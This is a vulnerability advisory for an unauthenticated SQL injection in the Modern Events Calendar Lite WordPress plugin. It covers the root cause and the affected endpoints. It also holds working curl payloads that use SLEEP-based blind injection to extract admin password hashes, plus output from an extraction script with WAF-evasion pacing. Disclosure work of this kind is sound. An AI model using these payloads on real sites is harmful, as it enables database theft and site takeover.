
Modern Events Calendar Lite <= 7.33.0 — Unauthenticated SQL Injection
| Detail | Value |
|---|
| Plugin | Modern Events Calendar Lite |
| Slug | modern-events-calendar-lite |
| Author | Webnus |
| Affected | <= 7.33.0 (the current vendor-distributed Lite release). Bug present across the entire post-w.org range; lab-confirmed on 6.5.6 and 7.33.0, statically confirmed in 5.21.2. 6.5.6 = last wordpress.org build (frozen at the 2022-05-11 closure); 7.33.0 = current build distributed from mec.webnus.net |
| Active installs | wordpress.org count hidden since closure; historically 100,000+. Still actively distributed/updated by the vendor (Lite via mec.webnus.net; the same 7.x codebase underlies the actively-sold MEC Pro) |
| CWE | CWE-89 (SQL Injection) |
| Vulnerability | Unauthenticated blind SQL injection (time-based / boolean / error-based) |
| Privilege required | None (wp_ajax_nopriv_* — pre-auth) |
| User interaction | None |
| CVSS v3.1 | 7.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Status | Lab-verified end-to-end on 7.33.0 (current) and 6.5.6 (WordPress 6.6.5, MariaDB 10.x) |
| CVE / GHSA | CVE-2026-11349 |
Modern Events Calendar Lite registers a family of unauthenticated admin-ajax.php "load more"
actions for its event-list skins (list, grid, masonry, agenda, timeline, tile,
custom). Each handler reads the attacker-controlled atts request array, passes it through a
helper named sanitize_deep_array() that — when called with its default arguments — performs no
sanitization at all — and then concatenates the atts['include'] (and atts['exclude']) values
raw into a post_id IN (...) SQL fragment that is executed with $wpdb->get_results() and
no $wpdb->prepare().
Because the entry points are registered on wp_ajax_nopriv_*, no authentication, account, nonce,
or user interaction is required. An unauthenticated remote attacker can inject arbitrary SQL into
the WHERE clause of a SELECT against wp_mec_dates and read any data in the WordPress database
(user password hashes, wp_options secrets/keys, other plugins' data) via blind
time-based / boolean / error-based techniques.
app/libraries/main.php:9607:
public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
if(!is_array($inputs)) return $inputs;
$sanitized = array();
foreach($inputs as $key => $val)
{
$p = $path.$key.'.';
if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
or (is_array($excludes) and !count($excludes))) // line 9615
{
$sanitized[$key] = $val; // <-- RAW passthrough, no sanitization
continue;
}
// ... (sanitize_text_field / (int) / esc_url / ... only reached when $excludes is non-empty)
}
return $sanitized;
}
The guard (is_array($excludes) and !count($excludes)) makes the function a complete no-op when
$excludes is the default empty array — every value is copied through verbatim. The intent was
evidently "if there is an exclude-list, skip those keys"; the boolean logic instead skips
everything whenever no exclude-list is supplied.
$excludesapp/skins/list.php:499-501 (load_more()):
$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date); // line 501
sanitize_deep_array($_REQUEST['atts']) is called with a single argument → $excludes
defaults to array() → the no-op branch above → $atts is the raw, untrusted $_REQUEST['atts'].
IN (...) clauseapp/libraries/skins.php:
// line 603 (exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
$where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";
// line 606 (include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
$where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";
The array elements are implode()d directly into the SQL string with no integer cast and no
escaping. (absint()/(int) on each element would have closed this.)
app/libraries/db.php:79:
public function select($query, $result = 'loadObjectList')
{
$query = $this->_prefix($query); // only swaps `#__` for the table prefix
$database = $this->get_DBO();
if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K); // line 87 — no prepare()
// ...
}
The fully-built string is handed to $wpdb->get_results() verbatim.
Taint flow (request → sink):
$_REQUEST['atts'] (attacker-controlled, unauthenticated)
→ app/skins/list.php:501 sanitize_deep_array($atts) (NO-OP: default empty $excludes)
→ MEC_skin::initialize($atts) ($this->atts = raw atts)
→ app/libraries/skins.php:606 "... post_id IN (".implode(',', $this->atts['include']).")"
→ app/libraries/db.php:87 $wpdb->get_results($query) (no prepare)
app/skins/list.php:51-52:
$this->factory->action('wp_ajax_mec_list_load_more', array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more')); // <-- unauthenticated
The nopriv registration makes the endpoint reachable pre-authentication. The same
load_more() shape and the shared skins.php query builder are present in the sibling skins, each
with its own wp_ajax_nopriv_* action, so the same injection is reachable through any of:
AJAX action (nopriv) | Skin handler |
|---|---|
mec_list_load_more | app/skins/list.php:497 |
mec_grid_load_more | app/skins/grid.php:497 |
mec_masonry_load_more | app/skins/masonry.php:229 |
mec_agenda_load_more | app/skins/agenda.php:242 |
mec_timeline_load_more | app/skins/timeline.php:242 |
mec_tile_load_more | app/skins/tile.php:446 |
mec_custom_load_more | app/skins/custom.php:233 |
No nonce is checked in load_more(), and the action does not require any plugin shortcode to be
present on a page — the AJAX handlers are registered unconditionally at init.
All requests are unauthenticated (no cookie, no nonce). The injected value is placed in
atts[include][]; the payload closes the two open parentheses of the IN ((...) AND (... IN ( group
and appends a top-level OR <sleep> so the condition is evaluated for every scanned row, then
comments out the trailing )) ORDER BY ...:
TARGET='https://victim.example' # plain permalinks: use admin-ajax.php directly
# 1) Baseline (no injection)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode 'atts[include][]=0'
# → ~0.27s
# 2) Time-based proof — balanced top-level OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
# → ~3.04s ← SLEEP(3) executed
# 3) Boolean oracle (true vs false)
# atts[include][]=0)) OR IF(1=1,SLEEP(3),0)# → ~3.06s (TRUE)
# atts[include][]=0)) OR IF(1=2,SLEEP(3),0)# → ~0.04s (FALSE)
# 4) Real data extraction (blind), e.g. admin password-hash first byte == '$' (0x24):
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode "atts[include][]=0)) OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users ORDER BY ID LIMIT 1)=36,SLEEP(3),0)#"
# → ~3.04s ← TRUE: admin hash begins with '$' (phpass)
The exact query executed (captured from WP_DEBUG_LOG) for an error-canary
atts[include][]=0)MEC_SQLI_CANARY was:
SELECT * FROM `wp_mec_dates`
WHERE (( `tstart`>='1780531200' AND `tend`<='2256249599' )
OR ( `tstart`<='2256249599' AND `tend`>='2256249599' )
OR ( `tstart`<='1780531200' AND `tend`>='1780531200' ))
AND ( 1 AND `public`=1 AND `status`='publish' AND `post_id` IN (0)MEC_SQLI_CANARY))
ORDER BY `tstart` ASC, `id` ASC
— the literal token MEC_SQLI_CANARY appears verbatim in the executed statement, confirming raw
concatenation. The atts[exclude][] parameter (skins.php:803 / 603, NOT IN) is injectable
identically (lab-confirmed: atts[exclude][]=0)) OR SLEEP(3)# → ~3.5s). The identical query and
injection were reproduced on 7.33.0 (current build) — same canary, same SLEEP behaviour.
mec-unauth-sqli-poc.py (included) is fully self-contained and requires no credentials: it
confirms the injection (baseline vs. SLEEP), then performs time-based blind extraction of arbitrary
data (default: @@version, DB user, and the first admin's user_login:user_pass). It validates each
response (HTTP 200) and paces requests with --delay + back-off to survive WAF/rate-limiting
(e.g. mod_evasive). No data is modified (read-only SELECT context).
$ python3 mec-unauth-sqli-poc.py --url https://victim.example --extract hash
[+] baseline=0.27s sleep-case=3.04s threshold=1.66s
[+] CONFIRMED unauthenticated time-based SQL injection (no auth, no nonce).
[*] Extracting (SELECT CONCAT(user_login,0x3a,user_pass) FROM wp_users ORDER BY ID LIMIT 1)
[+] admin:$P$B...
Unauthenticated, network-reachable, full read access to the database: wp_users password
hashes, wp_options (auth_key, API secrets, tokens), and any other table. In practice this chains
to full site takeover (offline hash cracking, secret/session theft). Integrity impact is limited —
the injection executes in a SELECT via $wpdb->get_results(), which does not permit stacked
queries — hence I:N. Heavy SLEEP/BENCHMARK could degrade availability, but the primary,
reliably-demonstrated impact is confidentiality (C:H), giving CVSS 7.5.
Line numbers are given for 7.33.0 (current) with 6.5.6 in parentheses; the code is identical across the range.
| File | Line (7.33.0 / 6.5.6) | Issue |
|---|---|---|
app/libraries/main.php | 11726-11734 / 9607-9619 | sanitize_deep_array() is a no-op when $excludes is the default empty array (the !count($excludes) guard) |
app/skins/list.php | 535 / 501 | atts read from $_REQUEST and passed to sanitize_deep_array() with no $excludes (in load_more(), 532 / 497) |
app/skins/list.php | 53 / 52 | wp_ajax_nopriv_mec_list_load_more → unauthenticated entry point |
app/libraries/skins.php | 806 / 603-606 | include / exclude array implode()d raw into post_id IN (...) / NOT IN (...) (exclude at 803 / 603) |
app/libraries/db.php | 79-93 (87) | MEC_db::select() runs $wpdb->get_results() with no prepare() |
The sibling skins (grid, masonry, agenda, timeline, tile, custom) share the same
load_more() + skins.php query builder and each register a wp_ajax_nopriv_* action → same bug,
multiple entry points.
This is a distinct, previously unreported injection point. Every publicly documented MEC SQL injection targets a different AJAX action and parameter, and all were patched in versions this finding post-dates (it is lab-confirmed live in 7.33.0):
| Reference | Auth | AJAX action | Parameter | Fixed in |
|---|---|---|---|---|
| CVE-2021-24946 | Unauthenticated | mec_load_single_page | time | 6.1.5 |
| CVE-2021-4458 | Unauthenticated (only if addslashes/input-slashing disabled) | mec_load_single_page | id | 6.4.0 |
| CVE-2021-24149 | Authenticated (author+/subscriber) | mec_fes_form | mec[post_id] | 5.16.6 |
| This report | Unauthenticated (no precondition) | mec_list_load_more (+ mec_{grid,masonry,agenda,timeline,tile,custom}_load_more) | atts[include][] / atts[exclude][] | unpatched (≤ 7.33.0) |
mec_load_single_page; this one is in the skin "load more" pagination
(load_more() → MEC_skin::initialize() → app/libraries/skins.php post_id IN (...) builder),
reached through the no-op default branch of sanitize_deep_array(). The mec_load_single_page
patches do not touch skins.php.id) was exploitable only with PHP/WordPress
input slashing disabled (a non-default state) because that value sits in a quoted context.
Here the atts[include]/atts[exclude] values land in an unquoted numeric IN(...) context
and are exploited with parentheses + SQL keywords (0)) OR SLEEP(3)#), which wp_magic_quotes()
does not neutralise. It is therefore exploitable on a default WordPress install — lab-confirmed
on stock WP 7.0 (magic quotes on).mec_load_single_page patch (6.4.0).Modern Events Calendar Lite was delisted from wordpress.org on 2022-05-11 ("Reason: Guideline Violation"), so the wordpress.org build is frozen at 6.5.6. This does not mean the plugin is abandoned — Webnus continued development off-platform: the current Lite build distributed from mec.webnus.net is 7.33.0, and the vulnerable code path is byte-for-byte the same there (lab-confirmed; the SQLi fires identically on 7.33.0). The bug therefore affects every release across the post-delisting range, not just the frozen wordpress.org copy.
Routing implications (the "closed on wordpress.org" objection is much weaker than it first appears):
app/libraries/skins.php,
app/libraries/main.php, and app/libraries/db.php are shared core libraries, so Pro is
near-certainly affected. This should be confirmed against Pro source before formally asserting it,
but the shared-library architecture makes it very likely. A confirmed Pro impact makes the finding
unambiguously in-scope for Patchstack (a publicly-sold component) and worth a MITRE/Patchstack
CVE regardless of the wordpress.org listing status.A CVE is warranted on the merits: unauthenticated, network-reachable, full-DB-read SQL injection in a current, vendor-distributed product with a six-figure historical install base.
| Date | Event |
|---|---|
| 2026-06-03 | Discovered during automated plugin review; verified end-to-end (unauth) on MEC Lite 6.5.6 (wordpress.org-frozen build) |
| 2026-06-04 | Re-verified end-to-end on 7.33.0 (current vendor-distributed Lite from mec.webnus.net); confirmed code/injection identical — finding is current, not a delisted-version artifact |
| 2026-06-04 | Vendor notification (Webnus) + WPScan CVE request; confirm MEC Pro shares the path |
| 2026-06-05 | Vulnerability verified and CVE assigned |